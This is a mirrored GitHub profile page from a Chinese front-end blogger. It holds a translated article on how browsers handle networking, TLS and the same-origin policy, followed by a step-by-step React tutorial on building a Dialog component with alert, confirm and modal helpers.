Code Monkey home page Code Monkey logo

xiaozhi's Introduction

我要先坚持分享20年,大家来一起见证吧。

每年至少会分享不少于200篇的优质文章,如果想第一时间获取文章,大家可以去【公众号】获取或者加我【微信】提意见(别忘记Star哟)。

【B站】首发视频,比博客早一到两篇

微信群 公众号 投稿 投稿 公众号 投稿

新产品

Alien GPT,它是基于 ChatGPT 技术,集对话、翻译、场景和图片四大功能于一身,只需一个助手,轻松解决你生活中的种种难题! 另外这个工具是采用 plus 的key,加上多路切换,响应速度快的一匹。

体验地址:https://chat.waixingyun.cn/#/home

AICube涵盖了问答、图片、音频、视频4大AIGC模块,欢迎大家注册试用体验。

体验地址:https://cube.waixingyun.cn/

个人开源项目

vue-or-tree 基于 Vue 2的组织架构树组件

ztjy-cli 模板脚手架

个人专栏

《CSS技巧与案例详解》

地址:点这里

《VueUse源码解读》

地址:点这里

《Vue2与Vue3技巧小册》

地址:点这里]

《CSS创意特效专栏》

css特效第一季:https://blog.csdn.net/qq449245884/category_9873715.html

css特效第二季:https://blog.csdn.net/qq449245884/category_10212382.html

css特效第三季:https://blog.csdn.net/qq449245884/category_10791873.html

目录(善用Ctrl+F)

JavaScript是如何工作的系列

  1. JavaScript是如何工作的:引擎,运行时和调用堆栈的概述

  2. JavaScript是如何工作的:深入V8引擎&编写优化代码的5个技巧

  3. JavaScript如何工作:内存管理+如何处理4个常见的内存泄漏

  4. JavaScript是如何工作的:事件循环和异步编程的崛起+ 5种使用 async/await 更好地编码方式

  5. JavaScript是如何工作: 深入探索 websocket 和HTTP/2与SSE +如何选择正确的路径

  6. JavaScript是如何工作的:与 WebAssembly比较 及其使用场景

  7. JavaScript是如何工作的:Web Workers的构建块+ 5个使用他们的场景

  8. JavaScript 是如何工作的:Service Worker 的生命周期及使用场景

  9. JavaScript是如何工作的:Web推送通知的机制

  10. JavaScript是如何工作的:使用 MutationObserver 跟踪 DOM 的变化

  11. JavaScript是如何工作的:渲染引擎和优化其性能的技巧

  12. JavaScript 是如何工作的:深入网络层 + 如何优化性能和安全

  13. JavaScript是如何工作的: CSS 和 JS 动画底层原理及如何优化它们的性能

  14. JavaScript 是如何工作的:解析、抽象语法树(AST)+ 提升编译速度5个技巧

  15. JavaScript是如何工作的:深入类和继承内部原理+Babel和 TypeScript 之间转换

  16. JavaScript是如何工作的:存储引擎+如何选择合适的存储API

  17. JavaScript 是如何工作: Shadow DOM 的内部结构+如何编写独立的组件

  18. JavaScript 是如何工作的:WebRTC 和对等网络的机制

  19. JavaScript 是如何工作的:编写自己的 Web 开发框架 + React 及其虚拟 DOM 原理

  20. JavaScript 是如何工作的:模块的构建以及对应的打包工具

  21. JavaScript 是如何工作的:JavaScript 的内存模型

  22. JavaScript 是如何工作的:JavaScript 的共享传递和按值传递

  23. JS引擎:它们是如何工作的?从调用堆栈到Promise,需要知道的所有内容

  24. 22+ 高频实用的 JavaScript 片段 (2020年)

赞赏码

熬夜不易,觉得有很大帮助的朋友可以赏杯咖啡(不接受学生赞赏),赏了一定要加我微信跟我说。

鸣谢

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

加我个人微信回复 "加群" 或者关注公众号,并进入公众号 [进群交流] ,添加好友即可。 群里工作日我每天都会以红包的形式来互动交流,朋友圈也会经常分享一些前端视频教程,个个教程都是干货。

微信搜索 [大迁世界] ,第一时间阅读或者扫描下方的二维码。

xiaozhi's People

Contributors

husky-dot avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

xiaozhi's Issues

12.JavaScript 是如何工作的:深入网络层 + 如何优化性能和安全

正如在上一篇关于 渲染引擎 的博客文章中提到的,我们认为优秀的 JavaScript 开发人员和杰出的 JavaScript 开发人员之间的区别在于,后者不仅理解语言的具体细节,而且理解其内部结构和周遭环境。

讲一点历史

49年前,一种叫做 ARPAnet 的网诞生了。它是一个早期的 分组交换网络,也是第一个 实现TCP/IP套件的网络。20年后,蒂姆·伯纳斯-李提出了一种“网状结构”的建议,这种结构后来被称为“万维网”。在这 49 年里,互联网走过了漫长的道路,从仅仅两台计算机交换数据包,到超过 7500 万台服务器、38 亿互联网用户和 13 亿个网站。

"阿帕"(ARPA),是美国高级研究计划署(Advanced Research ProjectAgency)的简称。他的核心机构之一是信息处理(IPTO Information Processing Techniques Office),一直在关注电脑图形、网络通讯、超级计算机等研究课题。

阿帕网为美国国防部高级研究计划署开发的世界上第一个运营的封包交换网络,它是全球互联网的始祖。

image

在这篇文章中,我们将尝试分析现代浏览器使用什么技术来自动提高性能(甚至在你不知道的情况下),接着深入浏览器网络层。最后,我们将提供一些关于如何帮助浏览器提高 Web 应用程序性能的建议。

概览

现代 Web 浏览器专为快速,高效,安全地提供网络应用/网站而设计。 数百个组件在不同的层上运行,从流程管理和安全沙箱到 GPU 管道,音频和视频等等,Web 浏览器看起来更像是一个操作系统,而不仅仅是一个软件应用程序。

浏览器的总体性能由许多大型组件决定:解析、布局、样式计算、JavaScript 和 WebAssembly 执行、渲染,当然还有网络堆栈。

工程师经常认为网络堆栈是一个瓶颈。这种情况经常发生,因为所有资源都需要从网上获取,然后才能解除其余步骤的阻塞。为了使网络层高效,它需要扮演的角色不仅仅是一个简单的套接字管理器。它提供给我们的是一种非常简单的资源获取机制,但实际上它是一个具有自己的优化标准、API 和服务的完整平台。

image

作为 Web 开发人员,我们不必担心单独的 TCP 或 UDP 数据包、请求格式化、缓存和其他一切问题。整个复杂性由浏览器负责,因此我们可以将精力集中在我们正在开发的应用程序上。然而,了解底层的情况可以帮助我们创建更快、更安全的应用程序。

本质上,当用户开始与浏览器交互时会发生以下情况:

  • 用户在浏览器地址栏中输入一个 URL

  • 给定 Web 上资源的 URL,浏览器首先检查其本地缓存和应用程序缓存,并尝试使用本地副本来完成请求

  • 如果缓存不能使用,浏览器从 URL 获取域名,并从 DNS 请求服务器的 IP 地址。如果域被缓存,则不需要 DNS 查询

  • 浏览器创建一个 HTTP 包,表示它请求位于远程服务器上的 Web 页面

  • 数据包被发送到 TCP 层,TCP 层在 HTTP 数据包上添加自己的信息,维护已启动的会话需要此信息

  • 然后数据包被传递给 IP 层,IP 层的主要任务是找出一种将数据包从用户发送到远程服务器的方法,这些信息也存储在包的顶部

  • 数据包被发送到远程服务器

  • 一远程服务器一旦接收到数据包,就会以类似的方式发回响应。

W3C的浏览时序规范(Navigation Timing specification)提供了一个浏览器API,让我们可以看到浏览器中每项请求的生命周期背后的时序和性能数据。让我们看看这些组成部分,每一块都是影响最佳用户体验的关键点:

image

整个网络过程非常复杂,有许多不同的层,这可能成为瓶颈。这就是为什么浏览器努力通过使用各种技术来提高自己的性能,从而使整个网络通信的影响最小。

套接字管理

先了解一些术语:

  • 源(Origin) - 由应用程序协议,域名和端口号组成(例如https,www.example.com,443)

  • 套接字池(Socket pool) - 属于同一源的一组套接字(所有主要浏览器将最大池大小限制为6个套接字)

JavaScript 和 WebAssembly 不允许我们管理单个网络套接字的生命周期,这是一件好事!这不仅使我们的省去较多麻烦,而且还可以让浏览器自动进行许多性能优化,其中包括套接字重用、请求优先级和后期绑定、协议协商、强制连接限制等。

实际上,现代浏览器在将请求管理周期与套接字管理分离方面做了更多的工作。套接字组织在按源分组的池中,每个池执行自己的连接限制和安全约束。挂起的请求被排队、排序,然后绑定到池中的各个套接字。除非服务器有意关闭连接,否则同一个套接字可以跨多个请求自动重用!

image

由于打开新的 TCP 连接需要额外的成本,因此连接的重用本身就带来了巨大的性能优势。默认情况下,浏览器使用所谓的 “keepalive” 机制,它可以在发出请求时节省打开到服务器的新连接的时间。打开新 TCP 连接的平均时间为:

  • 当地的请求  — 23ms
  • 横贯大陆的请求 —— 120ms
  • 洲际请求 ——  225ms

这种架构为其他一些优化提供了可能, 请求可以根据其优先级以不同的顺序执行。 浏览器可以优化所有套接字的带宽分配,也可以在预期请求时打开套接字。

正如之前提到的,这一切都由浏览器管理,不需要我们做任何工作,但这并不意味着我们什么都做不了。 选择正确的网络通信模式,类型和传输频率,协议选择以及服务器堆栈的调优/优化可以在提高应用程序的整体性能方面发挥重要作用。

有些浏览器甚至更进了一步。 例如,Chrome 可以学习用户的操作习惯来使自己变得更快。 它根据访问的站点和典型的浏览模式进行学习,以便预测可能的用户行为并在用户执行任何操作之前采取措施。 最简单的例子是当用户在链接上悬停时,Chrome 会预先渲染页面, 如果有兴趣了解有关 Chrome 优化的更多信息,可以查看这篇文章 https://www.igvita.com/posa/high-performance-networking-in-google-chrome

网络安全和沙盒

允许浏览器管理单个套接字还有另一个非常重要的目的:通过这种方式,浏览器能够对不受信任的应用程序资源执行一致的安全和策略约束。例如,浏览器不允许 API 直接访问原始网络套接字,因为这将使任何恶意应用程序能够任意连接到任何主机。浏览器还强制执行连接限制,以保护服务器和客户端免于资源耗尽。

浏览器格式化所有传出请求,以强制执行一致且格式良好的协议语义,以保护服务器。类似地,响应解码是自动完成的,以保护用户免受恶意服务器的攻击。

TLS 协议

传输层安全性协议 (Transport Layer Security, TLS)是一种通过计算机网络提供通信安全性的加密协议。它在许多应用程序中得到了广泛的应用,其中之一就是 Web 浏览器。网站可以使用 TLS 保护服务器和Web 浏览器之间的所有通信。该协议由两层组成: TLS 记录协议(TLS Record)和 TLS 握手协议(TLS Handshake)。较低的层为 TLS 记录协议,位于某个可靠的传输协议(例如 TCP)上面。

整个TLS握手包括以下步骤:

  1. 客户端向服务器发送 “Client hello” 消息,与之一同发送的还有客户端产生的随机值和支持的密码套件。

  2. 服务器通过向客户端发送 “Server hello” 消息及服务器产生的随机值进行响应。

  3. 服务器将其证书发送给客户端,并可以从客户端请求类似的证书。 服务器发送 “Server hello done” 消息。

  4. 如果服务器向客户机请求了证书,客户机将发送证书。

  5. 客户端创建一个随机的 Pre-Master Secret,并使用服务器证书中的公钥对其进行加密,将加密的 Pre-Master Secret 发送到服务器。

  6. 服务器接收 Pre-Master Secret。 服务器和客户端均基于预主密钥生成主密钥和会话密钥。

  7. 客户端向服务器发送 “Change cipher spec” 通知,以指示客户端将开始使用新的会话密钥进行散列和加密消息。 客户端还发送 “Server finished” 消息。

  8. 服务器接收 “Change cipher spec”,并使用会话密钥将其记录层安全状态切换为对称加密。 服务器向客户端发送 “Server finished” 消息。

  9. 客户端和服务器现在可以通过他们已建立的安全通道交换应用程序数据。 从客户端发送到服务器并返回的所有消息都使用会话密钥加密。

如果任何验证失败,则警告用户 - 例如,服务器正在使用自签名证书。

同源策略(same-origin policy)

同源是指文档的来源相同,主要包括三个方面

  • 协议
  • 主机
  • 载入文档的 URL 端口

以下是一些可能嵌入跨源资源的一些例子:

  • 带有 <script src =“...”> </ script> 的 JavaScript。 语法错误的错误消息仅适用于同源脚本

  • 带有 <link rel =“stylesheet”href =“...”> 的CSS。 由于 CSS 的宽松语法规则,跨源 CSS 需要正确的 Content-Type 标头。不同浏览器可能有不同的限制

  • 通过 <img> 加载图片

  • 带有 <video><audio> 的媒体文件

  • 带有 <object><embed><applet> 的插件

  • @font-face 的字体。 某些浏览器允许跨源字体,其他浏览器需要同源字体

  • 任何有 <frame><iframe> 的东西。 站点可以使用 X-Frame-Options 头部标识来阻止这种形式的跨源交互

以上列表并非完整,其目的是强调工作中 “最小特权” 的原则。 浏览器仅公开应用程序代码所需的 API 和资源:应用程序提供数据和 URL,浏览器格式化请求并处理每个连接的整个生命周期。

值得注意的是,**“同源策略”**并不是一个单一概念。相反,有一组相关的机制来限制对 DOM 访问、cookie 和会话状态管理、网络和浏览器的其他组件。

资源和客户端状态缓存

最佳请求是没有重新请求。在发送请求之前,浏览器会自动检查其资源缓存,执行必要的验证检查,并在满足指定条件的情况下返回资源的本地副本。如果缓存中没有可用的本地资源,则发出网络请求,并自动将响应放置在缓存中,以便在有权限的情况下进行后续访问。

  • 浏览器自动评估每个资源上的缓存指令

  • 浏览器会尽可能自动重新验证过期资源

  • 浏览器自动管理缓存大小和资源回收

管理高效且优化的资源缓存很难。 值得庆幸的是,浏览器帮我们处理整个复杂事情,我们需要做的就是确保我们的服务器返回适当的缓存指令; 要了解更多信息,请参阅 客户端的缓存资源(Cache Resources on the Client)。 这个需要我们为页面上的所有资源提供了 Cache-Control,**ETag ** 和 Last-Modified 响应头部标志。

最后,浏览器的一个经常被忽视的关键功能是提供身份验证、会话和 cookie 管理。浏览器为每个源维护独立的 “cookie jars”,提供必要的应用程序和服务器 Api 来读写新的 cookie、会话和身份验证数据,并自动附加上和处理相应的 HTTP 头以代替我们自动执行整个过程。

来个例子:

用一个简单但有说明性的例子来说明将会话状态管理推放到浏览器端的便利之处:同一个经过身份验证的会话可以在多个选项卡或浏览器窗口之间共享,反之亦然;单个选项卡中的注销操作将使所有其他打开的窗口中打开的会话失效。

应用程序 Api 和协议

研究完了网络服务,终于到达了应用程序 API 和协议这一步。正如我们所看到的,底层提供了大量关键服务:套接字和连接管理、请求和响应处理、各种安全策略的执行、缓存等等。每当我们启动 HTTP 或 XMLHttpRequest 、长期的 Server-Sent Events 或 WebSocket 会话,或打开 WebRTC 连接时,我们都在与这些底层服务进行交互。

没有单一的最佳协议或 API。 每个稍微复杂的应用程序都需要根据各种要求混合使用不同的传输:与浏览器缓存的交互,协议开销,消息延迟,可靠性,数据传输类型等。 某些协议可能提供低延迟传送(例如,Server-Sent Events,WebSocket),但可能不符合其他关键标准,例如在所有情况下利用浏览器缓存或支持有效二进制传输的能力。

以下是一些来提高 Web 应用程序的性能和安全性技巧

  • 始终在请求中使用 “Connection: Keep-Alive” 头部标识,浏览器默认执行此操作,确保服务器使用相同的机制。

  • 使用正确的 Cache-Control,Etag 和 Last-Modified 头部标识,这样就可以节省浏览器的下载时间。

  • 花时间调整和优化你的 Web 服务器,这是才是真正的最有效的地方! 请记住,该过程要针对每个 Web 应用程序以及你要传输的数据的类型要更加具体考虑和处理。

  • 始终使用TLS,特别是如果你的应用程序中有任何类型的身份验证。

  • 研究浏览器在你的应用程序中提供和实施的安全策略。


原文:

https://blog.sessionstack.com/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security-f71b7414d34c

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=198v4ebztvxp5

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

React造轮系列:对话框组件 - Dialog 思路

UI

对话框一般是我们点击按钮弹出的这么一个东西,主要类型有 Alter, ConfirmModal, Modal 一般带有半透明的黑色背景。当然外观可参考 AntD 或者 Framework 等。

确定 API

API 方面主要还是要参考同行,因为如果有一天,别人想你用的UI框架时,你的 API 跟他之前常用的又不用,这样就加大了入门门槛,所以API 尽量保持跟现有的差不多。

对话框除了提供显示属性外,还要有点击确认后的回放函数,如:

alert('你好').then(fn)
confirm('确定?').then(fn)
modal(组件名)

实现

Dialog 源码已经上传到这里

dialog/dialog.example.tsx, 这里 state ,生命周期使用 React 16.8 新出的 Hook,如果对 Hook 不熟悉可以先看官网文档

dialog/dialog.example.tsx

import React, {useState} from 'react'
import Dialog from './dialog'
export default function () {
  const [x, setX] = useState(false)
  return (
    <div>
      <button onClick={() => {setX(!x)}}>点击</button>
      <Dialog visible={x}></Dialog>
    </div>
  )
}

dialog/dialog.tsx

import React from 'react'

interface Props {
  visible: boolean
}

const Dialog: React.FunctionComponent<Props> = (props) => {
  return (
    props.visible ? 
      <div>dialog</div> : 
      null
  )
}

export default Dialog

运行效果

显示内容

上述还有问题,我们 dialog 在组件内是写死的,我们想的是直接通过组件内包裹的内容,如:

// dialog/dialog.example.tsx
...
<Dialog visible={x}>
  <strong>hi</strong>
</Dialog>
...

这样写,页面上是不会显示 hi 的,这里 children 属性就派上用场了,我们需要在 dialog 组件中进一步骤修改如下内容:

// dialog/dialog.tsx
...
return (
    props.visible ? 
      <div>
        {props.children}
      </div>
      : 
      null
)
...

显示遮罩

通常对话框会有一层遮罩,通常我们大都会这样写:

// dialog/dialog.tsx
...
props.visible ? 
  <div className="fui-dialog-mask">
    <div className="fui-dialog">
    {props.children}
    </div>
  </div>
  : 
  null
...

这种结构有个不好的地方就是点击遮罩层的时候要关闭对话框,如果是用这种结构,用户点击任何 div,都相当于点击遮罩层,所以最好要分开:

// dialog/dialog.tsx
...
<div>
    <div className="fui-dialog-mask">
    </div>
    <div className="fui-dialog">
      {props.children}
    </div>
 </div>
...

由于 React 要求最外层只能有一个元素, 所以我们多用了一个 div 包裹起来,但是这种方法无形之中多了个 div,所以可以使用 React 16 之后新出的 Fragment, Fragment 跟 vue 中的 template 一样,它是不会渲染到页面的。

import React, {Fragment} from 'react'
import './dialog.scss';
interface Props {
  visible: boolean
}

const Dialog: React.FunctionComponent<Props> = (props) => {
  return (
    props.visible ? 
     <Fragment>
        <div className="fui-dialog-mask">
        </div>
        <div className="fui-dialog">
          {props.children}
        </div>
     </Fragment>
      : 
      null
  )
}

export default Dialog

完善头部,内容及底部

这里不多说,直接上代码

import React, {Fragment} from 'react'
import './dialog.scss';
import {Icon} from '../index'
interface Props {
  visible: boolean
}

const Dialog: React.FunctionComponent<Props> = (props) => {
  return (
    props.visible ? 
      <Fragment>
          <div className="fui-dialog-mask">
          </div>
          <div className="fui-dialog">
            <div className='fui-dialog-close'>
              <Icon name='close'/>
            </div>
            <header className='fui-dialog-header'>提示</header>
            <main className='fui-dialog-main'>
              {props.children}
            </main>
            <footer className='fui-dialog-footer'>
              <button>ok</button>
              <button>cancel</button>
            </footer>
          </div>
      </Fragment>
      : 
      null
  )
}

export default Dialog

从上述代码我们可以发现我们写样式的名字时候,为了不被第三使用覆盖,我们自定义了一个 fui-dialog前缀,在写每个样式名称时,都要写一遍,这样显然不太合理,万一哪天我不用这个前缀时候,每个都要改一遍,所以我们需要一个方法来封装。

咱们可能会写这样方法:

function scopedClass(name) {
  return `fui-dialog-${name}`
}

这样写不行,因为我们 name 可能不传,这样就会多出一个 -,所以需要进一步的判断:

function scopedClass(name) {
return fui-dialog-${name ? '-' + name : ''}
}

那还有没有更简洁的方法,使用 filter 方法:

function scopedClass(name ?: string) {
  return ['fui-dialog', name].filter(Boolean).join('-')
}

调用方式如下:
....

<div className={scopedClass('mask')}>


<div className={scopedClass('close')}>


<header className={scopedClass('header')}>提示
<main className={scopedClass('main')}>
{props.children}

<footer className={scopedClass('footer')}>
ok
cancel



...
大家在想法,这样写是有问题,每个组件都写一个函数吗,如果 Icon 组件,我还需要写一个 fui-icon, 解决方法是把 前缀当一个参数,如:

function scopedClass(name ?: string) {
  return ['fui-dialog', name].filter(Boolean).join('-')
}

调用方式如下:

className={scopedClass('fui-dialog', 'mask')}

这样写,还不如直接写样式,这种方式是等于白写了一个方法,那怎么办?这就需要高阶函数出场了。实现如下:

function scopeClassMaker(prefix: string) {
  return function (name ?: string) {
    return [prefix, name].filter(Boolean).join('-')
  }
}

const scopedClass = scopeClassMaker('fui-dialog')

scopeClassMaker 函数是高级函数,返回一个带了 prefix 参数的函数。

事件处理

在写事件处理之前,我们 Dialog 需要接收一个 buttons 属性,就是显示的操作按钮并添加事件:

// dialog/dialog.example.tsx
...
<Dialog visible={x} buttons = {
  [
    <button onClick={()=> {setX(false)}}>1</button>,
    <button onClick={()=> {setX(false)}}>2</button>,
  ]
}>
  <div>hi</div>
</Dialog>
...

咱们看到这个,第一反应应该是觉得这样写很麻烦,我写个 dialog, visible要自己,按钮要自己,连事件也要自己写。请接受这种设定。虽然麻烦,但非常的好理解。这跟 Vue 的理念是不太一样的。当然后面会进一步骤优化。

组件内渲染如下:

<footer className={sc('footer')}>
  {
    props.buttons
  }
</footer>

运行起来你会发现有个警告:

主要是说我们渲染数组时,需要加个 key,解决方法有两种,就是不要使用数组方式,当然这不治本,所以这里 React.cloneElemen 出场了,它可以克隆元素并添加对应的属性值,如下:

{
  props.buttons.map((button, index) => {
    React.cloneElement(button, {key: index})
  })
}

对应的点击关闭事件相对容易这边就不讲了,可以自行查看源码

接下来来看一个样式的问题,首先先给出我们遮罩的样式:

.fui-dialog {
  position: fixed; background: white; min-width: 20em;
  z-index: 2;
  border-radius: 4px; top: 50%; left: 50%; transform: translate(-50%, -50%);
  &-mask { position: fixed; top: 0; left: 0; width: 100%; height: 100%;
    background: fade_out(black, 0.5);
    z-index: 1;
  }
  .... 以下省略其它样式
}

我们遮罩 .fui-dialog-mask 使用 fixed 定位感觉是没问题的,那如果在调用 dialog 同级在加以下这么元素:

<div style={{position:'relative', zIndex: 10, background:'#fff'}}>666</div>
   
<button onClick={() => {setX(!x)}}>点击</button>
<Dialog visible={x}>
...
</Dialog>

运行效果:

发现遮罩并没有遮住 666 的内容。这是为什么?

看结构也很好理解,遮罩元素与 666 是同级结构,且层级比 666 低,当然是覆盖不了的。那咱们可能就会这样做,给.fui-dialog-mask设置一个 zIndex 比它大的呗,如 9999

效果:

恩,感觉没问题,这时我们在 Dialog 组件在嵌套一层 zIndex 为 9 的呢,如:

<div style={{position:'relative', zIndex: 9, background:'#fff'}}>
  <Dialog visible={x}>
    ...
  </Dialog>
</div>

运行效果如下:

发现,父元素被压住了,里面元素 zIndex 值如何的高,都没有效果。

那这要怎么破?答案是不要让它出现在任何元素的里面,这怎么可能呢。这里就需要引出一个神奇的 API了。这个 API 叫做 传送门(portal)

用法如下:

return ReactDOM.createPortal(
  this.props.children,
  domNode
);

第一个参数就是你的 div,第二个参数就是你要去的地方。

import React, {Fragment, ReactElement} from 'react'
import ReactDOM from 'react-dom'
import './dialog.scss';
import {Icon} from '../index'
import {scopedClassMaker} from '../classes'

interface Props {
  visible: boolean,
  buttons: Array<ReactElement>,
  onClose: React.MouseEventHandler,
  closeOnClickMask?: boolean
}

const scopedClass = scopedClassMaker('fui-dialog')
const sc = scopedClass

const Dialog: React.FunctionComponent<Props> = (props) => {

  const onClickClose: React.MouseEventHandler = (e) => {
    props.onClose(e)
  }
  const onClickMask: React.MouseEventHandler = (e) => {
    if (props.closeOnClickMask) {
      props.onClose(e)
    }
  }
  const x = props.visible ? 
  <Fragment>
      <div className={sc('mask')} onClick={onClickMask}>
      </div>
      <div className={sc()}>
        <div className={sc('close')} onClick={onClickClose}>
          <Icon name='close'/>
        </div>
        <header className={sc('header')}>提示</header>
        <main className={sc('main')}>
          {props.children}
        </main>
        <footer className={sc('footer')}>
          {
            props.buttons.map((button, index) => {
              React.cloneElement(button, {key: index})
            })
          }
        </footer>
      </div>
  </Fragment>
  : 
  null
  return (
    ReactDOM.createPortal(x, document.body)
  )
}

Dialog.defaultProps = {
  closeOnClickMask: false
}


export default Dialog

运行效果:

当然这样,如果 Dialog 层级比同级的 zIndex 小的话,还是覆盖不了。 那 zIndex 一般设置成多少比较合理。一般 Dialog 这层设置成 1, mask 这层设置成2。定的越小越好,因为用户可以去改。

zIndex 的管理

zIndex 管理一般就是前端架构师要做的了,根据业务产景来划分,如广告肯定是要在页面最上面,所以 zIndex 一般是属于最高级的。

便利的 API 之 Alert

上述我们使用 Dialog 组件调用方式比较麻烦,写了一堆,有时候我们想到使用 alert 直接弹出一个对话框这样简单方便。如

  <h1>example 3</h1>
  <button onClick={() => alert('1')}>alert</button>

我们想直接点击 button ,然后弹出我们自定义的对话框内容为1 ,需要在 Dialog 组件内我们需要导出一个 alert 方法,如下:

// dialog/dialog.tsx
...
const alert = (content: string) => {
  const component = <Dialog visible={true} onClose={() => {}}>
    {content}
  </Dialog>
  const div = document.createElement('div')
  document.body.append(div)
  ReactDOM.render(component, div)
}

export {alert}
...

运行效果:

但有个问题,因为对话框的 visible 是由外部传入的,且 React 是单向数据流的,在组件内并不能直接修改 visible,所以在 onClose 方法我们需要再次渲染一个新的组件,并设置新组件 visibleture,覆盖原来的组件:

...
const alert = (content: string) => {
  const component = <Dialog visible={true} onClose={() => {
    ReactDOM.render(React.cloneElement(component, {visible: false}), div)
    ReactDOM.unmountComponentAtNode(div)
    div.remove()
  }}>
    {content}
  </Dialog>
  const div = document.createElement('div')
  document.body.append(div)
  ReactDOM.render(component, div)
}
..

便利的 API 之 confirm

confirm 调用方式:

<button onClick={() => confirm('1', ()=>{}, ()=> {})}>confirm</button>

第一个参数是显示的内容,每二个参数是确认的回调,第三个参数是取消的回调函数。

实现方式:

const confirm = (content: string, yes?: () => void, no?: () => void) => {
  const onYes = () => {
    ReactDOM.render(React.cloneElement(component, {visible: false}), div)
    ReactDOM.unmountComponentAtNode(div)
    div.remove()
    yes && yes()
  }
  const onNo = () => {
    ReactDOM.render(React.cloneElement(component, {visible: false}), div)
    ReactDOM.unmountComponentAtNode(div)
    div.remove()
    no && no()
  }
  const component = (
  <Dialog 
    visible={true} onClose={() => { onNo()}}
    buttons={[<button onClick={onYes}>yes</button>, 
              <button onClick={onNo}>no</button>
            ]}
  >
    {content}
  </Dialog>)
  const div = document.createElement('div')
  document.body.appendChild(div)
  ReactDOM.render(component, div)
}

事件处理跟 Alter 差不多,唯一多了一步就是 confirm 当点击 yes 或者 no 的时候,如果外部有回调就需要调用对应的回调函数。

便利的 API 之 modal

modal 调用方式:

<button onClick={() => {modal(<h1>你好</h1>)}}>modal</button>

modal 对应传递的内容就不是单单的文本了,而是元素。

实现方式:

const modal = (content: ReactNode | ReactFragment) => {
  const onClose = () => {
    ReactDOM.render(React.cloneElement(component, {visible: false}), div)
    ReactDOM.unmountComponentAtNode(div)
    div.remove()
  }
  const component = <Dialog onClose={onClose} visible={true}>
    {content}
  </Dialog>
  const div = document.createElement('div')
  document.body.appendChild(div)
  ReactDOM.render(component, div)
}

注意,这边的 content 类型。

运行效果:

这还有个问题,如果需要加按钮呢,可能会这样写:

 <button onClick={() => {modal(<h1>
     你好 <button>close</button></h1> 
  )}}>modal</button>

这样是关不了的,因为 Dialog 是封装在 modal 里面的。如果要关,必须控制 visible,那很显然我从外面控制不了里面的 visible,所以这个 button 没有办法把这个 modal 关掉。

解决方法就是使用闭包,我们可以在 modal 方法里面把 close 方法返回:

const modal = (content: ReactNode | ReactFragment) => {
  const onClose = () => {
    ReactDOM.render(React.cloneElement(component, {visible: false}), div)
    ReactDOM.unmountComponentAtNode(div)
    div.remove()
  }
  const component = <Dialog onClose={onClose} visible={true}>
    {content}
  </Dialog>
  const div = document.createElement('div')
  document.body.appendChild(div)
  ReactDOM.render(component, div)
  return onClose;
}

最后多了一个 retrun onClose,由于闭包的作用,外部调用返回的 onClose 方法可以访问到内部变量。

调用方式:

const openModal = () => {
  const close = modal(<h1>你好
    <button onClick={() => close()}>close</button>
  </h1>)
}
<button onClick={openModal}>modal</button>

重构 API

在重构之前,我们先要抽象 alert, confirm, modal 中各自的方法:

从表格可以看出,modal 与其它两个只多了一个 retrun api,其实其它两个也可以返回对应的 Api,只是我们没去调用而已,所以补上:

这样一来,这三个函数从抽象层面上来看是类似的,所以这三个函数应该合成一个。

首先抽取公共部分,先取名为x ,内容如下:

const x= (content: ReactNode, buttons ?:Array<ReactElement>, afterClose?: () => void) => {
  const close = () => {
    ReactDOM.render(React.cloneElement(component, {visible: false}), div)
    ReactDOM.unmountComponentAtNode(div)
    div.remove()
    afterClose && afterClose()
  }
  const component = 
  <Dialog visible={true} 
    onClose={() => {
      close(); afterClose && afterClose()
    }}
    buttons={buttons}
  >
    {content}
  </Dialog>
  const div = document.createElement('div')
  document.body.append(div)
  ReactDOM.render(component, div)
  return close
}

alert 重构后的代码如下:

const alert = (content: string) => {
  const button = <button onClick={() => close()}>ok</button>
  const close = x(content, [button])
}

confirm 重构后的代码如下:

const confirm = (content: string, yes?: () => void, no?: () => void) => {

  const onYes = () => {
    close()
    yes && yes()
  }
  const onNo = () => {
    close()
    no && no()
  }
  const buttons = [
    <button onClick={onYes}>yes</button>, 
    <button onClick={onNo}>no</button>
  ]
  const close =  modal(content, buttons, no)
}

modal 重构后的代码如下:

const modal = (content: ReactNode | ReactFragment) => {
  return x(content)
}

最后发现其实 x 方法就是 modal 方法,所以更改 x 名为 modal,删除对应的 modal 定义。

总结

  1. scopedClass 高阶函数的使用
  2. 传送门 portal
  3. 动态生成组件
  4. 闭包传 API

本组件为使用优化样式,如果有兴趣可以自行优化,本节源码已经上传至这里中的lib/dialog

你的点赞是我持续分享好东西的动力,欢迎点赞!

